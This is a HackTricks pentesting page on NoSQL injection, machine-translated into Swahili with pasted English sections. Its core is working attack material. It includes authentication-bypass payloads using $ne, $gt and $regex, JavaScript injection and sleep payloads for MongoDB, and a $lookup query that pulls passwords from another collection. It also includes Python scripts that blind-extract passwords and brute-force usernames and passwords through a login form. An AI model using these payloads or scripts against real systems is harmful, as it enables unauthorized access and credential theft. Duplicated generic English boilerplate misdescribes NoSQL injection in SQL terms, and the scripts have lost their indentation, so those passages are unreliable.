hacktricks/pentesting-web/nosql-injection.md
2024-02-11 02:13:58 +00:00

20 KiB

Uvamizi wa NoSQL

Tumia Trickest kujenga na kutumia taratibu za kiotomatiki zinazotumia zana za jamii za kisasa zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Kutumia udhaifu

Katika PHP unaweza kutuma safu ya data kwa kubadilisha parameter iliyotumwa kutoka parameter=foo hadi parameter[arrName]=foo.

Udhaifu huu unategemea kuongeza Msimamizi:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Kupitisha Uthibitishaji wa Msingi

Kutumia sio sawa ($ne) au kubwa zaidi ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

NoSQL Injection

NoSQL injection is a type of vulnerability that occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions on a NoSQL database.

NoSQL Injection Techniques

  1. Boolean-based Injection: This technique involves injecting a boolean expression into the query in order to determine if a specific condition is true or false. By manipulating the query, an attacker can extract sensitive information from the database.

  2. Time-based Injection: In this technique, an attacker injects a delay into the query in order to determine if a specific condition is true or false. By measuring the time it takes for the query to execute, an attacker can extract information from the database.

  3. Error-based Injection: This technique involves injecting a query that causes an error in order to extract information from the error message. By manipulating the query, an attacker can retrieve sensitive data from the database.

  4. Union-based Injection: In this technique, an attacker injects a query that combines the results of two or more queries into a single result set. By manipulating the query, an attacker can retrieve data from multiple tables in the database.

Preventing NoSQL Injection

To prevent NoSQL injection, it is important to follow these best practices:

  1. Input Validation: Validate and sanitize all user input before using it in a NoSQL query.

  2. Parameterized Queries: Use parameterized queries or prepared statements to ensure that user input is properly escaped and sanitized.

  3. Least Privilege Principle: Limit the privileges of the database user used by the application to only what is necessary.

  4. Secure Configuration: Ensure that the NoSQL database is properly configured and secured to prevent unauthorized access.

By following these best practices, you can significantly reduce the risk of NoSQL injection vulnerabilities in your application.

query = { $where: `this.username == '${username}'` }

Mshambuliaji anaweza kutumia hili kwa kuingiza maneno kama admin' || 'a'=='a, kufanya swali liwarudishie nyaraka zote kwa kuridhisha hali na tautolojia ('a'=='a'). Hii inafanana na mashambulizi ya kuingiza SQL ambapo maneno kama ' or 1=1-- - hutumiwa kudhibiti maswali ya SQL. Katika MongoDB, kuingizwa kama hii inaweza kufanywa kwa kutumia maneno kama ' || 1==1//, ' || 1==1%00, au admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Pata habari ya urefu (length)

To extract the length information in a NoSQL injection attack, you can use the $where operator in MongoDB or the regex operator in other NoSQL databases.

MongoDB

In MongoDB, you can use the $where operator to execute JavaScript code on the server. By using the toString() method on the target field and checking its length, you can extract the length information.

db.collection.find({ $where: "this.target.toString().length == 10" })

Replace collection with the name of the target collection and target with the name of the field you want to extract the length from. Adjust the length value (10 in the example) according to your needs.

Other NoSQL Databases

In other NoSQL databases, you can use the regex operator to match a regular expression against the target field. By crafting a regular expression that matches a specific length, you can extract the length information.

db.collection.find({ field: { $regex: /^.{10}$/ } })

Replace collection with the name of the target collection, field with the name of the field you want to extract the length from, and adjust the length value (10 in the example) according to your needs.

Remember to test different lengths to find the correct length of the target field.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Pata habari za data

Unaweza kutumia kuvuja kwa NoSQL kuchunguza na kuchota habari za data kutoka kwa programu zinazotumia teknolojia ya NoSQL. Kwa kufanya hivyo, unaweza kupata habari muhimu kama majina ya watumiaji, nywila, anwani za barua pepe, na habari nyingine ya siri.

Kuna njia kadhaa za kufanya hivyo, kulingana na aina ya kuvuja kwa NoSQL inayotumiwa na programu. Hapa kuna mifano ya njia mbili za kawaida:

1. Kuvuja kwa NoSQL kwa kutumia maombi ya kawaida

Ikiwa programu inatumia maombi ya kawaida kama find, findOne, au aggregate, unaweza kujaribu kuvuja kwa NoSQL kwa kubadilisha maombi hayo. Kwa mfano, unaweza kujaribu kubadilisha maombi ya kawaida kuwa maombi ya kuvuja kwa NoSQL kwa kuongeza opereta ya kuvuja kama $ne (si sawa na) au $regex (kutumia kanuni za kawaida).

2. Kuvuja kwa NoSQL kwa kutumia maombi ya kawaida na mchanganyiko wa maombi

Ikiwa programu inatumia mchanganyiko wa maombi ya kawaida, unaweza kujaribu kuvuja kwa NoSQL kwa kuchanganya maombi tofauti. Kwa mfano, unaweza kujaribu kuchanganya maombi ya kawaida na opereta za kuvuja kama $ne au $regex ili kupata habari ya siri.

Ni muhimu kuelewa muundo wa data na jinsi maombi yanavyofanya kazi ili uweze kubadilisha maombi kwa usahihi na kupata habari unayotafuta.

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

SQL - Mongo

MongoDB is a popular NoSQL database that uses a document-oriented model to store data. It is widely used in web applications and offers a flexible and scalable solution for managing large amounts of data.

NoSQL Injection

NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB, by exploiting vulnerabilities in the application's input validation. This attack allows an attacker to manipulate the database queries and potentially gain unauthorized access to sensitive data.

NoSQL Injection Techniques

  1. Boolean-based Injection: This technique involves injecting boolean-based queries to determine if a query is true or false. By manipulating the query, an attacker can extract information from the database.

  2. Time-based Injection: In this technique, an attacker injects time delays into the query to determine if the injected query is executed. By measuring the response time, an attacker can extract information from the database.

  3. Union-based Injection: Union-based injection involves injecting queries that combine the results of multiple queries. By manipulating the query, an attacker can extract information from different parts of the database.

  4. Error-based Injection: Error-based injection involves injecting queries that cause the application to generate an error message. By analyzing the error message, an attacker can extract information from the database.

Preventing NoSQL Injection

To prevent NoSQL injection attacks, it is important to implement proper input validation and sanitization techniques. Here are some best practices:

  • Input Validation: Validate and sanitize all user input before using it in database queries.

  • Parameterized Queries: Use parameterized queries or prepared statements to ensure that user input is properly escaped and treated as data, rather than executable code.

  • Least Privilege Principle: Limit the privileges of the database user used by the application to minimize the potential impact of an injection attack.

  • Secure Configuration: Ensure that the database server is properly configured and updated to mitigate known vulnerabilities.

By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your application's data.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Utekelezaji wa Kazi Isiyohusiana na PHP

Kwa kutumia operator $func wa maktaba ya MongoLite (inayotumiwa kwa chaguo-msingi), inaweza kuwa inawezekana kutekeleza kazi isiyohusiana kama ilivyo katika ripoti hii.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Pata habari kutoka kwa mkusanyiko tofauti

Inawezekana kutumia $lookup kupata habari kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa mkusanyiko tofauti unaoitwa users na kupata matokeo ya kuingia yote na nenosiri linalolingana na kichujio cha wilcard.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Tumia Trickest kujenga na kutumia taratibu za kiotomatiki zinazotumia zana za jamii zinazoendelea zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Malipo ya MongoDB

Orodha kutoka hapa

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Skripti ya Blind NoSQL

Maelezo

Blind NoSQL Injection ni aina ya shambulio ambapo mtu anajaribu kudhibiti au kupata habari kutoka kwa hifadhidata ya NoSQL. Shambulio hili linategemea udhaifu katika jinsi maombi yanavyoshughulikia maombi ya hifadhidata ya NoSQL.

Hatua ya 1: Kuchunguza Udhaifu

Kabla ya kuanza shambulio la Blind NoSQL Injection, ni muhimu kuchunguza ikiwa maombi yanayojaribiwa yana udhaifu huu. Unaweza kufanya hivyo kwa kuchunguza majibu ya maombi na kuchunguza ikiwa kuna ishara za udhaifu wa NoSQL Injection.

Hatua ya 2: Kugundua Muundo wa Hifadhidata

Ili kufanikisha shambulio la Blind NoSQL Injection, unahitaji kugundua muundo wa hifadhidata. Hii inaweza kufanywa kwa kutuma maombi tofauti na kuchunguza majibu ili kubaini muundo wa hifadhidata.

Hatua ya 3: Kujenga Script ya Blind NoSQL

Baada ya kugundua muundo wa hifadhidata, unaweza kuanza kujenga skripti ya Blind NoSQL Injection. Skripti hii itatumika kudhibiti maombi na kufanya maswali ya NoSQL Injection kwa kutumia mbinu za kipofu.

Hatua ya 4: Kutekeleza Shambulio

Hatua ya mwisho ni kutekeleza shambulio la Blind NoSQL Injection kwa kutumia skripti iliyoundwa. Shambulio hili linaweza kusababisha kupata habari nyeti kutoka kwa hifadhidata au hata kudhibiti maombi yenyewe.

Tahadhari

Ni muhimu kutambua kuwa shambulio la Blind NoSQL Injection ni kinyume cha sheria na linaweza kusababisha madhara makubwa. Ni muhimu kufanya shambulio hili tu kwa idhini ya mmiliki wa mfumo unaolengwa na kwa madhumuni ya kujaribu usalama.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Kuvunja nguvu majina ya mtumiaji na nywila kutoka kwa kuingia POST

Hii ni hati rahisi ambayo unaweza kubadilisha lakini zana za awali pia zinaweza kufanya kazi hii.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Vifaa

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:


Tumia Trickest kujenga na kutumia kiotomatiki mchakato wa kazi ulioendeshwa na zana za jamii za juu zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}